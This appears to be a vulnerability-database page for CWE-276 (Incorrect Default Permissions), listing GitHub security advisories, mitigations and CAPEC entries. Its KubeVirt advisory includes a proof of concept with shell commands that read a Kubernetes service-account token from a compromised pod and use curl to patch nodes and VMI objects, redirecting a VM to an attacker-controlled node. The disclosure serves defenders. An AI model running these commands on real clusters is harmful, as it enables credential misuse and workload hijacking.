CWE-276
AllowedIncorrect Default Permissions
Abstraction: Base · Status: Draft
During installation, installed file permissions are set to allow anyone to modify those files.
2035 vulnerabilities reference this CWE, most recent first.
GHSA-7X9X-FQGH-27M7
Vulnerability from github – Published: 2025-10-02 00:32 – Updated: 2025-10-02 00:32NVIDIA Installer for NvAPP for Windows contains a vulnerability in the FrameviewSDK installation process, where an attacker with local unprivileged access could modify files in the Frameview SDK directory. A successful exploit of this vulnerability might lead to escalation of privileges.
{
"affected": [],
"aliases": [
"CVE-2025-23297"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-01T22:15:30Z",
"severity": "HIGH"
},
"details": "NVIDIA Installer for NvAPP for Windows contains a vulnerability in the FrameviewSDK installation process, where an attacker with local unprivileged access could modify files in the Frameview SDK directory. A successful exploit of this vulnerability might lead to escalation of privileges.",
"id": "GHSA-7x9x-fqgh-27m7",
"modified": "2025-10-02T00:32:09Z",
"published": "2025-10-02T00:32:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23297"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5682"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-23297"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7XCW-CFH3-RFM5
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-07-13 00:00In sendNetworkConditionsBroadcast of NetworkMonitor.java, there is a possible way for a privileged app to receive WiFi BSSID and SSID without location permissions due to a missing permission check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-8.1 Android-9Android ID: A-175213041
{
"affected": [],
"aliases": [
"CVE-2021-0590"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-14T14:15:00Z",
"severity": "MODERATE"
},
"details": "In sendNetworkConditionsBroadcast of NetworkMonitor.java, there is a possible way for a privileged app to receive WiFi BSSID and SSID without location permissions due to a missing permission check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-8.1 Android-9Android ID: A-175213041",
"id": "GHSA-7xcw-cfh3-rfm5",
"modified": "2022-07-13T00:00:59Z",
"published": "2022-05-24T19:08:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0590"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2021-07-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7XGM-5PRM-V5GC
Vulnerability from github – Published: 2025-11-06 23:35 – Updated: 2025-11-27 08:49Summary
The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.
Details
Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.
Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited
Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.
PoC
By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: testvm
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: testvm
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
interfaces:
- name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
- name: default
pod: {}
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
The VMI is then created on a minikube node identified with minikube-m02:
operator@minikube:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 20s Running 10.244.1.8 minikube-m02 True
Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.
First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:
# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh 1/1 Running 0 8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
The attacker updates the VMI object labels in a way that makes it terminate:
# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 42m Running 10.244.1.8 minikube-m02 False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4 0/3 Completed 0 44m # the `virt-launcher` pod is completed
Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH
Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.
Finally, an admin user decides to restart the VMI:
admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 80s Running 10.244.0.15 minikube-m03 True
Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.
An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.
Impact
This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64436"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-276"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-06T23:35:49Z",
"nvd_published_at": "2025-11-07T23:15:46Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe permissions granted to the `virt-handler` service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.\n\n### Details\n\nFollowing the [GitHub security advisory published on March 23 2023](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-cp96-jpmq-xrr2), a `ValidatingAdmissionPolicy` was introduced to impose restrictions on which sections of node resources the `virt-handler` service account can modify. For instance, the `spec` section of nodes has been made immutable, and modifications to the `labels` section are now limited to `kubevirt.io`-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.\n\n\nHowever, if a `virt-handler` service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, `virt-handler` sets a specific `kubevirt.io` boolean label, `kubevirt.io/schedulable`, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to `false`, thereby forcing all #acr(\"vmi\") instances to be scheduled exclusively on the compromised node.\n\n[Another finding](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp) describes how a compromised `virt-handler` instance can perform operations on other nodes that are intended to be executed solely by `virt-api`. This significantly increases both the impact and the likelihood of the vulnerability being exploited\n\n\nAdditionally, by default, the `virt-handler` service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet\u0027s `NodeRestriction` feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.\n\n\n\n### PoC\n\nBy injecting incorrect data into a running VMI, for example, by altering the `kubevirt.io/nodeName` label to reference a different node, the VMI is marked as terminated and its state transitions to `Succeeded`. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker\u0027s choosing. As an example, the following demonstrates how to instantiate a basic VMI:\n\n```yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: testvm\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: testvm\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nThe VMI is then created on a minikube node identified with `minikube-m02`:\n\n```bash\noperator@minikube:~$ kubectl get vmi testvm\nNAME AGE PHASE IP NODENAME READY\ntestvm 20s Running 10.244.1.8 minikube-m02 True\n```\n\nAssume that a `virt-handler` pod, running on node `minikube-m03`, is compromised and an attacker and the latter wants the `testvm` to be re-deployed on a controlled by them node.\n\nFirst, we retrieve the `virt-handler` service account token in order to be able to perform requests to the Kubernetes API:\n\n```bash\n# Get the `virt-handler` pod name\nattacker@minikube-m03:~$ kubectl get pods -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler\nvirt-handler-kblgh 1/1 Running 0 8d\n# get the `virt-handler` SA account token\nattacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) \n```\n\nThe attacker updates the VMI object labels in a way that makes it terminate:\n\n```bash\n# Save the current state of the VMI\nattacker@minikube-m03:~$ kubectl get vmi testvm -o json \u003e testvm.json\n# replace the current `nodeName` to another one in the JSON file\nattacker@minikube-m03:~$ sed -i \u0027s/\"kubevirt.io\\/nodeName\": \"minikube-m02\"/\"kubevirt.io\\/nodeName\": \"minikube-m03\"/g\u0027 testvm.json \n# Perform the UPDATE request, impersonating the virt-handler\nattacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k -X PUT -d @testvm.json -H \"Content-Type: application/json\" -H \"Authorization: bearer $token\"\n# Get the current state of the VMI after the UPDATE\nattacker@minikube-m03:~$ kubectl get vmi testvm\nNAME AGE PHASE IP NODENAME READY\ntestvm 42m Running 10.244.1.8 minikube-m02 False # The VMI is not ready anymore\n# Get the current state of the pod after the UPDATE\nattacker@minikube-m03:~$ kubectl get pods | grep launcher\nvirt-launcher-testvm-z2fk4 0/3 Completed 0 44m # the `virt-launcher` pod is completed\n```\n\nNow, the attacker can use the excessive permissions of the `virt-handler` service account to patch the `minikube-m02` node in order to mark it as unschedulable for VMI workloads:\n\n```bash\nattacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H \"Authorization: Bearer $token\" -H \"Content-Type: application/strategic-merge-patch+json\" --data \u0027{\"metadata\":{\"labels\":{\"kubevirt.io/schedulable\":\"false\"}}}\u0027 -X PATCH\n```\n\n**Note: This request could require multiple invocations as the `virt-handler` is continuously updating the schedulable state of the node it is running on**.\n\nFinally, an admin user decides to restart the VMI:\n\n```bash\nadmin@minikube:~$ kubectl delete -f testvm.yaml\nadmin@minikube:~$ kubectl apply -f testvm.yaml\nadmin@minikube:~$ kubectl get vmi testvm\nNAME AGE PHASE IP NODENAME READY\ntestvm 80s Running 10.244.0.15 minikube-m03 True\n```\n\nIdentifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the `userInfo` object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes\u0027 `NodeRestriction` feature gate. Since Kubernetes version 1.32, the `node` authorization mode, enforced via the `NodeRestriction` admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.\n\nAn alternative approach would be to create a dedicated `virt-handler` service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the `userInfo.username` field of the `AdmissionRequest` object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.\n\n\n### Impact\n\nThis vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.",
"id": "GHSA-7xgm-5prm-v5gc",
"modified": "2025-11-27T08:49:08Z",
"published": "2025-11-06T23:35:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-7xgm-5prm-v5gc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64436"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes"
}
GHSA-7XR9-RMM4-CQ6V
Vulnerability from github – Published: 2022-09-07 00:01 – Updated: 2022-09-14 00:00A vulnerability was found in the PCS project. This issue occurs due to incorrect permissions on a Unix socket used for internal communication between PCS daemons. A privilege escalation could happen by obtaining an authentication token for a hacluster user. With the "hacluster" token, this flaw allows an attacker to have complete control over the cluster managed by PCS.
{
"affected": [],
"aliases": [
"CVE-2022-2735"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-06T18:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was found in the PCS project. This issue occurs due to incorrect permissions on a Unix socket used for internal communication between PCS daemons. A privilege escalation could happen by obtaining an authentication token for a hacluster user. With the \"hacluster\" token, this flaw allows an attacker to have complete control over the cluster managed by PCS.",
"id": "GHSA-7xr9-rmm4-cq6v",
"modified": "2022-09-14T00:00:47Z",
"published": "2022-09-07T00:01:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2735"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2022:6312"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2022:6313"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2022:6314"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2022:6341"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2022-2735"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2116815"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5226"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2022/09/01/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7XVG-Q4P4-362Q
Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-11 18:30Incorrect default permissions for some Intel(R) One Boot Flash Update (Intel(R) OFU) software before version 14.1.31 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.
{
"affected": [],
"aliases": [
"CVE-2025-27711"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T17:15:45Z",
"severity": "MODERATE"
},
"details": "Incorrect default permissions for some Intel(R) One Boot Flash Update (Intel(R) OFU) software before version 14.1.31 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.",
"id": "GHSA-7xvg-q4p4-362q",
"modified": "2025-11-11T18:30:19Z",
"published": "2025-11-11T18:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27711"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01331.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7XVV-7WJG-WQX8
Vulnerability from github – Published: 2023-02-16 21:30 – Updated: 2023-02-28 21:30Insecure inherited permissions in the Intel(R) oneAPI Toolkits oneapi-cli before version 0.2.0 may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2022-25992"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-16T20:15:00Z",
"severity": "HIGH"
},
"details": "Insecure inherited permissions in the Intel(R) oneAPI Toolkits oneapi-cli before version 0.2.0 may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-7xvv-7wjg-wqx8",
"modified": "2023-02-28T21:30:18Z",
"published": "2023-02-16T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25992"
},
{
"type": "WEB",
"url": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00674.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-822F-JFPG-HG7H
Vulnerability from github – Published: 2022-04-20 00:00 – Updated: 2025-07-14 20:27Liferay Portal 7.3.7, 7.4.0, and 7.4.1, and Liferay DXP 7.2 fix pack 13, and 7.3 fix pack 2 does not properly check user permission when accessing a list of sites/groups, which allows remote authenticated users to view sites/groups via the user's site membership assignment UI.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.portal.bom"
},
"versions": [
"7.3.7"
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.portal.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.4.0"
},
{
"fixed": "7.4.2-ga3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.dxp.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.2.0"
},
{
"fixed": "7.2.10.fp13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.dxp.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.3.0"
},
{
"fixed": "7.3.10.fp2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay:com.liferay.site.browser.web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:com.liferay.portal.impl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-26595"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-14T20:27:08Z",
"nvd_published_at": "2022-04-19T13:15:00Z",
"severity": "MODERATE"
},
"details": "Liferay Portal 7.3.7, 7.4.0, and 7.4.1, and Liferay DXP 7.2 fix pack 13, and 7.3 fix pack 2 does not properly check user permission when accessing a list of sites/groups, which allows remote authenticated users to view sites/groups via the user\u0027s site membership assignment UI.",
"id": "GHSA-822f-jfpg-hg7h",
"modified": "2025-07-14T20:27:08Z",
"published": "2022-04-20T00:00:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26595"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/5b958de42d93f1ba5879a0a20054b14ad7f145c4"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.atlassian.net/issues/LPE-17367"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2022-26595-unauthorized-access-to-site-group-list?p_r_p_assetEntryId=121612195\u0026_com_liferay_asset_publisher_web_portlet_AssetPublisherPortlet_INSTANCE_jekt_redirect=https%3A%2F%2Fliferay.dev%3A443%2Fportal%2Fsecurity%2Fknown-vulnerabilities%3Fp_p_id%3Dcom_liferay_asset_publisher_web_portlet_AssetPublisherPortlet_INSTANCE_jekt%26p_p_lifecycle%3D0%26p_p_state%3Dnormal%26p_p_mode%3Dview%26p_r_p_assetEntryId%3D121612195%26_com_liferay_asset_publisher_web_portlet_AssetPublisherPortlet_INSTANCE_jekt_cur%3D0%26p_r_p_resetCur%3Dfalse"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Liferay Portal and Liferay DXP fails to check permissions to view sites/groups"
}
GHSA-822R-W744-M4V4
Vulnerability from github – Published: 2023-12-05 06:30 – Updated: 2023-12-11 18:30Softing OPC Suite version 5.25 and before has Incorrect Access Control, allows attackers to obtain sensitive information via weak permissions in OSF_discovery service.
{
"affected": [],
"aliases": [
"CVE-2023-37572"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-05T06:15:48Z",
"severity": "HIGH"
},
"details": "Softing OPC Suite version 5.25 and before has Incorrect Access Control, allows attackers to obtain sensitive information via weak permissions in OSF_discovery service.",
"id": "GHSA-822r-w744-m4v4",
"modified": "2023-12-11T18:30:30Z",
"published": "2023-12-05T06:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37572"
},
{
"type": "WEB",
"url": "https://industrial.softing.com/fileadmin/psirt/downloads/2023/syt-2023-5.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8238-4X58-7M3G
Vulnerability from github – Published: 2022-04-11 00:00 – Updated: 2022-04-16 00:01Insecure permissions configured in the userid parameter at /user/getuserprofile of FEBS-Security v1.0 allows attackers to access and arbitrarily modify users' personal information.
{
"affected": [],
"aliases": [
"CVE-2022-27958"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-10T21:15:00Z",
"severity": "MODERATE"
},
"details": "Insecure permissions configured in the userid parameter at /user/getuserprofile of FEBS-Security v1.0 allows attackers to access and arbitrarily modify users\u0027 personal information.",
"id": "GHSA-8238-4x58-7m3g",
"modified": "2022-04-16T00:01:17Z",
"published": "2022-04-11T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27958"
},
{
"type": "WEB",
"url": "https://github.com/afeng2016-s/CVE-Request/blob/main/febs-security/febs.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8284-HQGR-8GF6
Vulnerability from github – Published: 2025-09-10 15:31 – Updated: 2025-09-10 15:31An Incorrect File Handling Permission bug exists on the N-central Windows Agent and Probe that, in the right circumstances, can allow a local low-level user to run commands with elevated permissions.
{
"affected": [],
"aliases": [
"CVE-2025-10231"
],
"database_specific": {
"cwe_ids": [
"CWE-276"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-10T14:15:35Z",
"severity": "HIGH"
},
"details": "An Incorrect File Handling Permission bug exists on the N-central Windows Agent and Probe that, in the right circumstances, can allow a local low-level user to run commands with elevated permissions.",
"id": "GHSA-8284-hqgr-8gf6",
"modified": "2025-09-10T15:31:17Z",
"published": "2025-09-10T15:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10231"
},
{
"type": "WEB",
"url": "https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2025.3_Release_Notes.htm"
},
{
"type": "WEB",
"url": "https://me.n-able.com/s/security-advisory/aArVy0000000jgHKAQ/cve202510231-incorrect-default-permissions-could-lead-to-privilege-escalation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
The architecture needs to access and modification attributes for files to only those users who actually require those actions.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-81: Web Server Logs Tampering
